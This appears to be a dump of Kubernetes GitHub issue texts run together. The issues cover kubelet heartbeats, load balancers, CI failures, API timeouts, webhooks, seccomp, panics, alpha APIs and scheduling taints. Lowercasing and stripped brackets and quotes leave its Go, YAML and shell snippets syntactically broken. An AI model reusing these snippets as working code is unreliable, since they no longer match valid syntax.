&podsandboxfilter{id:,state:&podsandboxstatevalue{state:sandbox_ready,},labelselector:map string string{},}\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.081169    1748 kuberuntime_sandbox.go:185  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.081187    1748 kubelet_pods.go:842  error listing containers: &grpc.rpcerror{code:0x4, desc:\ context deadline exceeded\ }\r sep 28 07:57:54 ip-10-50-97-190 start-kubelet.sh 1748 : e0928 07:57:54.081210    1748 kubelet.go:1886  failed cleaning pods: rpc error: code = 4 desc = context deadline exceeded\r    \r \r which looks like the dockershim is timing out, maybe blocked on something.\r \r oddly, i never see these errors again in the kubelet logs - which indicates to me the pleg loop continues to run successfully.\r \r however after this time, all heartbeats to the apiserver stop. this even happened on an apiserver node, where kubelet connects to the localhost. so it doesn't seem like a network issue to me.\r \r next time this happens i'll try to capture a goroutine dump.\r \r   what you expected to happen  :\r \r even if there is a temporary blip in the pleg loop, kubelet should continue to send heartbeats, and then eventually go ready again.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i've been unable to reproduce it yet - it happens quite infrequently.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.9 / 1.7.10\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  /area cloudprovider\r \r   what happened  :\r \r the cloud provider interface  states  https://github.com/kubernetes/kubernetes/blob/e5aec8645d740123dfc8f1400b66bca05673b833/pkg/cloudprovider/cloud.go l100  that  ensureloadbalancer  should  create a new load balancer 'name', or update the existing one . the gce provider does this for  internal load balancers  https://github.com/kubernetes/kubernetes/blob/e57accbd03b1265340fdd266d0afe2b7a8e1c171/pkg/cloudprovider/providers/gce/gce_loadbalancer_internal.go l408  but not for  external load balancers  https://github.com/kubernetes/kubernetes/blob/e57accbd03b1265340fdd266d0afe2b7a8e1c171/pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go l675-l676 . \r \r every other in-tree provider implements  ensureloadbalancer  by fully updating the load balancer including updated backend nodes:  aws  https://github.com/kubernetes/kubernetes/blob/7f8521819d3677c98cf88344d8cbee0b72a681ab/pkg/cloudprovider/providers/aws/aws.go l3553 ,  azure  https://github.com/kubernetes/kubernetes/blob/e57accbd03b1265340fdd266d0afe2b7a8e1c171/pkg/cloudprovider/providers/azure/azure_loadbalancer.go l260 ,  openstack  https://github.com/kubernetes/kubernetes/blob/e57accbd03b1265340fdd266d0afe2b7a8e1c171/pkg/cloudprovider/providers/openstack/openstack_loadbalancer.go l767 ,  cloudstack  https://github.com/kubernetes/kubernetes/blob/e57accbd03b1265340fdd266d0afe2b7a8e1c171/pkg/cloudprovider/providers/cloudstack/cloudstack_loadbalancer.go l146  \r \r and the following out-of-tree providers do as well  digitalocean  https://github.com/digitalocean/digitalocean-cloud-controller-manager/blob/master/do/loadbalancers.go l153  and oracle  not oss yet . \r \r   what you expected to happen  :\r \r i expect that all cloud providers implement  ensureloadbalancer  by creating or fully updating the load balancer if it already exists. \r \r related discussion: https://github.com/kubernetes/kubernetes/pull/55336 discussion_r150386720\r \r /cc @mrhohn @wlan0 @luxas @andrewsykim @thockin

is this a bug report or feature request?  :\r  / \r /area platform/gke \r /team gke\r \r   what happened  :\r from https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/pr-logs/directory/pull-kubernetes-e2e-gke, the gke presubmit job has been failing since 1/24/2018  the earliest run i can find . the same error logs from  the latest run  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/58645/pull-kubernetes-e2e-gke/41  as below:\r    \r w0126 19:51:21.955  2018/01/26 19:51:21 util.go:157: step 'gcloud compute networks create e2e-41 --project=k8s-jkns-pr-gci-gke --mode=auto' finished in 42.788240335s\r w0126 19:51:21.955  2018/01/26 19:51:21 util.go:155: running: gcloud container clusters create --quiet --project=k8s-jkns-pr-gci-gke --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=4 --network=e2e-41 --cluster-version=1.10.0-alpha.2.14+220679f26501ad e2e-41\r w0126 19:51:22.520  warning: starting in kubernetes v1.10, new clusters will no longer get compute-rw and storage-ro scopes added to what is specified in --scopes  though the latter will remain included in the default --scopes . to use these scopes, add them explicitly to --scopes. to use the new behavior, set container/new_scopes_behavior property  gcloud config set container/new_scopes_behavior true .\r w0126 19:51:24.217  creating cluster e2e-41...\r w0126 19:51:44.354  ....................done.\r w0126 19:51:45.274  error:  gcloud.container.clusters.create  operation  <operation\r w0126 19:51:45.275   endtime: u'2018-01-26t19:51:41.04187427z'\r w0126 19:51:45.275   name: u'operation-1516996284197-19a31867'\r w0126 19:51:45.275   operationtype: operationtypevaluevaluesenum create_cluster, 1 \r w0126 19:51:45.275   selflink: u'https://test-container.sandbox.googleapis.com/v1/projects/943316867058/zones/us-central1-f/operations/operation-1516996284197-19a31867'\r w0126 19:51:45.276   starttime: u'2018-01-26t19:51:24.19730748z'\r w0126 19:51:45.276   status: statusvaluevaluesenum done, 3 \r w0126 19:51:45.276   statusmessage: u'cluster_api_version not found.'\r w0126 19:51:45.276   targetlink: u'https://test-container.sandbox.googleapis.com/v1/projects/943316867058/zones/us-central1-f/clusters/e2e-41'\r w0126 19:51:45.277   zone: u'us-central1-f'>  finished with error: cluster_api_version not found.\r w0126 19:51:45.316  2018/01/26 19:51:45 util.go:157: step 'gcloud container clusters create --quiet --project=k8s-jkns-pr-gci-gke --zone=us-central1-f --machine-type=n1-standard-2 --image-type=gci --num-nodes=4 --network=e2e-41 --cluster-version=1.10.0-alpha.2.14+220679f26501ad e2e-41' finished in 23.410169307s\r    \r \r is this a valid error or would it be just some mis-configuration on the pr job? @ihmccreery @krzyzacy \r \r cc @jingax10

i'm running a kubernetes cluster。 now, today, when i was about to deploy some updates, i get timeouts from the server.\r \r running $ kubectl get nodes yields\r    \r error from server  timeout : the server was unable to return a response in the time allotted, but may still be processing the request  get nodes \r    \r running $ kubectl get pods --all-namespaces yields\r    \r error from server  timeout : the server was unable to return a response in the time allotted, but may still be processing the request  get pods \r    \r running $ kubectl get deployments yields\r    \r error from server  timeout : the server was unable to return a response in the time allotted, but may still be processing the request  get deployments.extensions \r    \r running $ kubectl get svc yields\r    \r error from server  timeout : the server was unable to return a response in the time allotted, but may still be processing the request  get services \r    \r running $ kubectl cluster-info yields  note no output after the master \r    \r kubernetes master is running at http://localhost:8080\r \r to further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.\r    \r as i get these timeouts for every command, troubleshooting is impossible.\r \r  i ran $ kubectl get pods -v 7 and after a bunch of cache returns got this:\r    \r i0309 11:31:57.517168   18939 round_trippers.go:414  get http://localhost:8080/api\r i0309 11:31:57.517229   18939 round_trippers.go:421  request headers:\r i0309 11:31:57.517251   18939 round_trippers.go:424      accept: application/json,  / \r i0309 11:31:57.517270   18939 round_trippers.go:424      user-agent: kubectl/v1.8.8  linux/amd64  kubernetes/2f73858\r i0309 11:31:59.092098   18939 round_trippers.go:439  response status: 200 ok in 1574 milliseconds\r i0309 11:31:59.102091   18939 round_trippers.go:414  get http://localhost:8080/apis\r i0309 11:31:59.102130   18939 round_trippers.go:421  request headers:\r i0309 11:31:59.102149   18939 round_trippers.go:424      accept: application/json,  / \r i0309 11:31:59.102168   18939 round_trippers.go:424      user-agent: kubectl/v1.8.8  linux/amd64  kubernetes/2f73858\r i0309 11:31:59.290325   18939 round_trippers.go:439  response status: 200 ok in 188 milliseconds\r i0309 11:31:59.308861   18939 round_trippers.go:414  get http://localhost:8080/apis/apiregistration.k8s.io/v1beta1\r i0309 11:31:59.308900   18939 round_trippers.go:421  request headers:\r i0309 11:31:59.308919   18939 round_trippers.go:424      accept: application/json,  / \r i0309 11:31:59.309211   18939 round_trippers.go:424      user-agent: kubectl/v1.8.8  linux/amd64  kubernetes/2f73858\r i0309 11:31:59.721500   18939 round_trippers.go:439  response status: 200 ok in 408 milliseconds\r i0309 11:31:59.756420   18939 round_trippers.go:414  get http://localhost:8080/api/v1\r i0309 11:31:59.756537   18939 round_trippers.go:421  request headers:\r i0309 11:31:59.756571   18939 round_trippers.go:424      accept: application/json,  / \r i0309 11:31:59.756591   18939 round_trippers.go:424      user-agent: kubectl/v1.8.8  linux/amd64  kubernetes/2f73858\r i0309 11:31:59.792099   18939 round_trippers.go:439  response status: 200 ok in 35 milliseconds\r i0309 11:31:59.936968   18939 cached_discovery.go:119  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/servergroups.json\r i0309 11:31:59.937209   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/apiregistration.k8s.io/v1beta1/serverresources.json\r i0309 11:31:59.937674   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/v1/serverresources.json\r i0309 11:31:59.937822   18939 cached_discovery.go:119  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/servergroups.json\r i0309 11:31:59.937953   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/apiregistration.k8s.io/v1beta1/serverresources.json\r i0309 11:31:59.938375   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/v1/serverresources.json\r i0309 11:31:59.938511   18939 cached_discovery.go:119  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/servergroups.json\r i0309 11:31:59.938658   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/apiregistration.k8s.io/v1beta1/serverresources.json\r i0309 11:31:59.939083   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/v1/serverresources.json\r i0309 11:31:59.940167   18939 cached_discovery.go:119  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/servergroups.json\r i0309 11:31:59.940296   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/apiregistration.k8s.io/v1beta1/serverresources.json\r i0309 11:31:59.940732   18939 cached_discovery.go:72  returning cached discovery info from /root/.kube/cache/discovery/localhost_8080/v1/serverresources.json\r i0309 11:31:59.941176   18939 round_trippers.go:414  get http://localhost:8080/api/v1/namespaces/default/pods\r i0309 11:31:59.941200   18939 round_trippers.go:421  request headers:\r i0309 11:31:59.941219   18939 round_trippers.go:424      accept: application/json\r i0309 11:31:59.941237   18939 round_trippers.go:424      user-agent: kubectl/v1.8.8  linux/amd64  kubernetes/2f73858\r i0309 11:33:00.217042   18939 round_trippers.go:439  response status: 504 gateway timeout in 60275 milliseconds\r i0309 11:33:00.217951   18939 helpers.go:207  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server was unable to return a response in the time allotted, but may still be processing the request  get pods \ ,\r   \ reason\ : \ timeout\ ,\r   \ details\ : {\r     \ kind\ : \ pods\ ,\r     \ causes\ :  \r       {\r         \ reason\ : \ unexpectedserverresponse\ ,\r         \ message\ : \ {\\\ metadata\\\ :{},\\\ status\\\ :\\\ failure\\\ ,\\\ message\\\ :\\\ timeout: request did not complete within 1m0s\\\ ,\\\ reason\\\ :\\\ timeout\\\ ,\\\ details\\\ :{},\\\ code\\\ :504}\ \r       }\r      \r   },\r   \ code\ : 504\r } \r f0309 11:33:00.218018   18939 helpers.go:120  error from server  timeout : the server was unable to return a response in the time allotted, but may still be processing the request  get pods \r

bug report   :\r >  \r \r   what happened  :\r every time i try to query all the objects in a given namespace, i observe redundant deployments and replicasets being reported.\r \r   what you expected to happen  :\r all the objects in the namespace queried must be specified once and no redundant values should be observed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl get all -n <namespace> \r \r   anything else we need to know?  :\r i am on gke with k8s \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-gke.1\ , gitcommit:\ 192ccad06d24af9828cbf42330e1d915cb586406\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t21:39:04z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:06z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-gke.1\ , gitcommit:\ 192ccad06d24af9828cbf42330e1d915cb586406\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t21:39:04z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r gke\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux gke-node-default-pool-db0837a2-3wbb 4.13.0-1008-gcp  11-ubuntu smp thu jan 25 11:08:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r

is this a bug report or feature request?  :\r    / \r   what happened  :\r all the tests that rely on creating a customresourcedefinition are  flaky  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce&width=5&include-filter-by-regex=api-machinery&include-filter-by-regex=custom%20resource   about 6-7 flakes per day in ci . this is because the test \ admissionwebhook should be able to deny custom resource creation\  creates a validating webhook, called    deny-crd.k8s.io   , which denies all crd creations. this is an issue for any other test which will create a crd that gets run in parallel with that webhook test, causing them to fail with the message    failed to create customresourcedefinition: admission webhook \ deny-crd.k8s.io\  denied the request: this webhook denies all requests   \r \r i tried to fix this in https://github.com/kubernetes/kubernetes/pull/61609 discussion_r178959024 but it didn't work because i used a namespace selector. the tests are still flaky. i think changing the test webhook image to support handling a new \ /crd\  path which would accept and deny crd creations based on their labels would work  instead of a namespace selector since the crds aren't namespaced anyway .

see the following\r - https://github.com/kubernetes/api/commits/kubernetes-1.12.0-rc.2/core/v1/types.go\r - https://github.com/kubernetes/api/commits/master/core/v1/types.go\r \r 272a6c8a3a35653d4d011cbaf60a17c692f85e01 and b1d28a94fbfc5e0f03194884bfc2cb75c6695e1e are in master but not in kubernetes-1.12.0-rc.2\r \r though, to be clear, the master of k/api repo seems to be ok, just the tag in kubernetes-1.12.0-rc.2 is in the wrong spot

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    master-upgrade gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster \r \r   which test s  are failing  :\r     sig-storage  csi volumes  driver: pd.csi.storage.gke.io  serial   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow  \r \r  ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2819  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster/2819 \r \r   since when has it been failing  :\r it has been consistently failing since at least 2/15.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster\r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:317\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: /dev/sdb on /var/lib/kubelet/pods/1b1b87c4-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-16185709-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /var/lib/kubelet/pods/1b1b87c4-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-16185709-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/1b1b87c4-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-16185709-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     /dev/sdb on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/1b1b87c4-3c1e-11e9-baa6-42010a8a0006/volumes/kubernetes.io~csi/pvc-16185709-3c1e-11e9-baa6-42010a8a0006/mount type ext4  rw,relatime,data=ordered \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/utils/utils.go:255\r open stdoutopen_in_new\r    \r \r  / /milestone v1.14\r 

host: ubuntu 15.04 + lastest vagrant +libvert, kubernetes  master   problem:  during  kube-up.sh , during provisioning of master and minion, there is an error that appears to be a conflict over which version of docker should be installed.      ==> master: running transaction check ==> master: running transaction test ==> master:  ==> master:  ==> master: transaction check error: ==> master:   file /usr/bin/docker conflicts between attempted installs of docker-io-1.5.0-1.fc20.x86_64 and docker-1.5-10.fc20.x86_64 ==> master:  ==> master: error summary ==> master: ------------- ==> minion-1: creating image  snapshot of base box volume . ==> master: an error occurred. the error will be shown after all tasks complete.

registered.isregisteredapiversion is the wrong level of abstraction and breaks the interface contract of the runtime scheme - a clear error should be returned from runtime.scheme when a user attempts to use an api version that is not allowed to be used  by looking at these \ does it exist\  .  we should never call isregisteredversion from client code.

starting from v1.10 docker daemon will run with a  restrictive seccomp profile  https://github.com/docker/docker/blob/master/docs/security/seccomp.md  turned on by default.  users will have to include a custom seccomp profile in addition to capabilities.   until we figure out a sane way to add support for seccomp, i propose disabling   unconfined   seccomp profiles by default. this will allow users to upgrade to docker v1.10 seamlessly.  cc @kubernetes/goog-node @bgrant0607

its lack of coverage is quite sad, given how much logic it contains. it shouldn't be that much work to mock out the gce service object and get significantly more coverage than what we currently have.

we try to stop everything from eating panics here: https://github.com/kubernetes/kubernetes/pull/28800.  but api server still eats panics since the http server catches panics.  see this example:      go package main  import       \ fmt\      \ log\      \ net/http\     func main   {     http.handlefunc \ /panic\ , func w http.responsewriter, r  http.request  {         defer func   {             if r := recover  ; r != nil {                 fmt.println \ handle panic\                   panic r              }         }            fmt.fprintf w, \ panic\           panic \ panic\       }       log.fatal http.listenandserve \ :8080\ , nil   }          bash handle panic 2016/08/09 11:12:51 http: panic serving 127.0.0.1:61476: panic goroutine 20  running : net/http.  conn .serve.func1 0xc820086200      /usr/local/go/src/net/http/server.go:1389 +0xc1 panic 0x28bca0, 0xc82006eee0      /usr/local/go/src/runtime/panic.go:426 +0x4e9 main.main.func1.1       /users/xiangli/playground/panic.go:14 +0x121 panic 0x28bca0, 0xc82006eee0      /usr/local/go/src/runtime/panic.go:426 +0x4e9 main.main.func1 0x7857a8, 0xc8200756c0, 0xc8200ec1c0      /users/xiangli/playground/panic.go:19 +0xee net/http.handlerfunc.servehttp 0x4062c0, 0x7857a8, 0xc8200756c0, 0xc8200ec1c0      /usr/local/go/src/net/http/server.go:1618 +0x3a net/http.  servemux .servehttp 0xc820072a80, 0x7857a8, 0xc8200756c0, 0xc8200ec1c0      /usr/local/go/src/net/http/server.go:1910 +0x17d net/http.serverhandler.servehttp 0xc820086080, 0x7857a8, 0xc8200756c0, 0xc8200ec1c0      /usr/local/go/src/net/http/server.go:2081 +0x19e net/http.  conn .serve 0xc820086200      /usr/local/go/src/net/http/server.go:1472 +0xf2e created by net/http.  server .serve     /usr/local/go/src/net/http/server.go:2137 +0x44e handle panic 2016/08/09 11:12:56 http: panic serving 127.0.0.1:61477: panic goroutine 21  running : net/http.  conn .serve.func1 0xc820086380      /usr/local/go/src/net/http/server.go:1389 +0xc1 panic 0x28bca0, 0xc82006ef90      /usr/local/go/src/runtime/panic.go:426 +0x4e9 main.main.func1.1       /users/xiangli/playground/panic.go:14 +0x121 panic 0x28bca0, 0xc82006ef90      /usr/local/go/src/runtime/panic.go:426 +0x4e9 main.main.func1 0x7857a8, 0xc820075790, 0xc8200ec2a0      /users/xiangli/playground/panic.go:19 +0xee net/http.handlerfunc.servehttp 0x4062c0, 0x7857a8, 0xc820075790, 0xc8200ec2a0      /usr/local/go/src/net/http/server.go:1618 +0x3a net/http.  servemux .servehttp 0xc820072a80, 0x7857a8, 0xc820075790, 0xc8200ec2a0      /usr/local/go/src/net/http/server.go:1910 +0x17d net/http.serverhandler.servehttp 0xc820086080, 0x7857a8, 0xc820075790, 0xc8200ec2a0      /usr/local/go/src/net/http/server.go:2081 +0x19e net/http.  conn .serve 0xc820086380      /usr/local/go/src/net/http/server.go:1472 +0xf2e created by net/http.  server .serve     /usr/local/go/src/net/http/server.go:2137 +0x44e handle panic 2016/08/09 11:12:57 http: panic serving 127.0.0.1:61478: panic goroutine 22  running : net/http.  conn .serve.func1 0xc820086480      /usr/local/go/src/net/http/server.go:1389 +0xc1 panic 0x28bca0, 0xc82006f020      /usr/local/go/src/runtime/panic.go:426 +0x4e9 main.main.func1.1       /users/xiangli/playground/panic.go:14 +0x121 panic 0x28bca0, 0xc82006f020      /usr/local/go/src/runtime/panic.go:426 +0x4e9 main.main.func1 0x7857a8, 0xc820075930, 0xc8200ec380      /users/xiangli/playground/panic.go:19 +0xee net/http.handlerfunc.servehttp 0x4062c0, 0x7857a8, 0xc820075930, 0xc8200ec380      /usr/local/go/src/net/http/server.go:1618 +0x3a net/http.  servemux .servehttp 0xc820072a80, 0x7857a8, 0xc820075930, 0xc8200ec380      /usr/local/go/src/net/http/server.go:1910 +0x17d net/http.serverhandler.servehttp 0xc820086080, 0x7857a8, 0xc820075930, 0xc8200ec380      /usr/local/go/src/net/http/server.go:2081 +0x19e net/http.  conn .serve 0xc820086480      /usr/local/go/src/net/http/server.go:1472 +0xf2e created by net/http.  server .serve     /usr/local/go/src/net/http/server.go:2137 +0x44e      /cc @lavalamp @krousey

there are a few alpha api groups enabled by default in  pkg/master/master.go:837  https://github.com/kubernetes/kubernetes/blob/d9ea0887653b62597a332d02453db53a4df2d494/pkg/master/master.go l837 :      go     ret.enableversions          apiv1.schemegroupversion,         extensionsapiv1beta1.schemegroupversion,         batchapiv1.schemegroupversion,         authenticationv1beta1.schemegroupversion,         autoscalingapiv1.schemegroupversion,         appsapi.schemegroupversion,                              // alpha api         policyapiv1alpha1.schemegroupversion,                    // alpha api         rbacapi.schemegroupversion,                              // alpha api         storageapiv1beta1.schemegroupversion,         certificatesapiv1alpha1.schemegroupversion,         authorizationapiv1beta1.schemegroupversion,            this is in violation of our stated policy on alpha apis at: https://github.com/kubernetes/kubernetes/blob/release-1.4/docs/devel/api_changes.md alpha-beta-and-stable-versions  > - availability: committed to main kubernetes repo; appears in an official release; feature is disabled by default, but may be enabled by flag  we should disable these apis by default, graduate them if they're actually stable enough for beta, or amend our policy.  there's a related issue to write tests for this as well:  30096  cc @kubernetes/sig-api-machinery

first in notices that godeps are wrong and removes\r    \r -                       \ importpath\ : \ github.com/davecgh/go-spew/spew\ ,\r -                       \ rev\ : \ 782f4967f2dc4564575ca782fe2d04090b5faca8\ \r    \r which is fine.\r \r but afterwards it fails:\r    \r updating godeps for k8s.io/apiextensions-apiserver\r   godep: package  github.com/emicklei/go-restful/swagger  not found\r    \r \r @kubernetes/sig-api-machinery-bugs

 \r   what happened  :\r the docs for  http liveness probes  https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-probes/ define-a-liveness-http-request  only reference  httpget , but a http  head  request is better for healthchecks as no data is returned so it is lighter weight.\r \r   what you expected to happen  :\r i would expect a httphead directive to exist. it would perform a request such as:\r \r    \r head / http/1.1\r    \r \r vs  httpget , which does something like:\r \r    \r get / http/1.1\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a livenessprobe and be :disappointed:  that  head  requests aren't available.

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when using the legacy docker container runtime and when a container has  terminationmessagepolicy=fallbacktologsonerror  and when docker is configured with a log driver other than  json-log   such as  journald  , the kublet still tries to fetch the last few lines of the container logs from the json log file. when it tries, it gets a message like this:\r \r    \r error on reading termination message from logs: failed to open log file \ /var/log/pods/f36cd8db-9984-11e7-9d0f-54e1ad486deb/busybox_0.log\ : open /var/log/pods/f36cd8db-9984-11e7-9d0f-54e1ad486deb/busybox_0.log: no such file or directory\r    \r \r   what you expected to happen  :\r \r the kubelet should not try to get the container's log from the json log file  since it's not there  but should instead ask docker for the logs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. configure  dockerd  to use the  journald  log driver. add  --log-driver=journald  to its command line.\r 2. create a pod with a container that has  terminationmessagepolicy  set to  fallbacktologsonerror . for example, put the following into  busybox-pod.yaml :\r    \r ---\r apiversion: v1\r kind: pod\r metadata:\r   name: busybox-pod\r spec:\r   containers:\r   - image: gcr.io/google_containers/busybox\r     name: busybox\r     terminationmessagepolicy: fallbacktologsonerror\r     command:  \ /bin/sh\  \r     args:  \ -c\ , \ echo last line of container log; exit 1\  \r   restartpolicy: never\r    \r then run\r    \r kubectl create -f ~/busybox-pod.yaml\r    \r 3. wait for the pod to exit with an error\r 4. look at the termination message:\r    \r kubectl get pod -o go-template=\ {{index .status.containerstatuses 0 \ state\  \ terminated\  \ message\ }}' busybox-pod\r    \r if you have reproduced the problem, you'll see something like the above error message. if it's working, you'll see\r    \r last line of container log\r    \r \r   anything else we need to know?  :\r this is related to  42195 from a few months ago.

what happened  :\r \r when using the new  --feature-gates=taintnodesbycondition=true  feature added in v1.8, pods still can't seem to be scheduled to notready nodes. steps to recreate:\r \r 1. set  --feature-gates=taintnodesbycondition=true  on apiserver, scheduler and controller manager\r 2. have 1 master and 1 node cluster, neither of which have cni set up. this means that each should be  notready  and their  networkunavailable  condition be true, like so:\r    \r       bash\r    $ kubectl get nodes\r    name       status     roles     age       version\r    c1         notready   master    15m       v1.8.0\r    worker-1   notready   <none>    15m       v1.8.0\r \r    $ kubectl get nodes -o jsonpath='{range .items   }{@.metadata.name}{\ \ \ }{range @.status.conditions   }{@.type}={@.status}{\ \ \ }{end}{end}'\r    c1\r    outofdisk=false\r    memorypressure=false\r    diskpressure=false\r    ready=false\r    worker-1\r    outofdisk=false\r    memorypressure=false\r    diskpressure=false\r    ready=false\r        \r    \r 3. deploy a pod with the following manifest:\r \r    yaml\r kind: pod\r apiversion: v1\r metadata:\r   name: test\r spec:\r   tolerations:\r   - key: node.kubernetes.io/network-unavailable\r     operator: exists\r     effect: noschedule\r   - key: node.kubernetes.io/notready\r     operator: exists\r     effect: noschedule\r   containers:\r   - name: nginx\r     image: nginx\r    \r \r the pod is not deployed though:\r \r    \r name:         test\r namespace:    default\r node:         <none>\r labels:       <none>\r annotations:  <none>\r status:       pending\r ip:\r containers:\r   nginx:\r     image:        nginx\r     port:         <none>\r     environment:  <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-jrrr7  ro \r conditions:\r   type           status\r   podscheduled   false\r volumes:\r   default-token-jrrr7:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-jrrr7\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.alpha.kubernetes.io/notready:noexecute for 300s\r                  node.alpha.kubernetes.io/unreachable:noexecute for 300s\r                  node.kubernetes.io/network-unavailable:noschedule\r                  node.kubernetes.io/notready:noschedule\r events:\r   type     reason            age                 from               message\r   ----     ------            ----                ----               -------\r   warning  failedscheduling  30s  x87 over 25m   default-scheduler  no nodes are available that match all of the predicates: nodenotready  2 , podtoleratesnodetaints  1 .\r    \r \r   what you expected to happen  :\r \r a few things:\r \r 1. the pod to be deployed to  worker-1 . maybe i'm using this feature incorrectly, but my assumption was that notready would no longer be a prohibiting characteristic if more granular taints are used  tied to a node's conditions .\r \r 2. the  node.kubernetes.io/network-unavailable  condition to appear when i run either  kubectl get nodes  or  kubectl describe node . this is probably orthogonal to this issue.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os  e.g. from /etc/os-release :\r \r    \r name=\ ubuntu\ \r version=\ 16.04.3 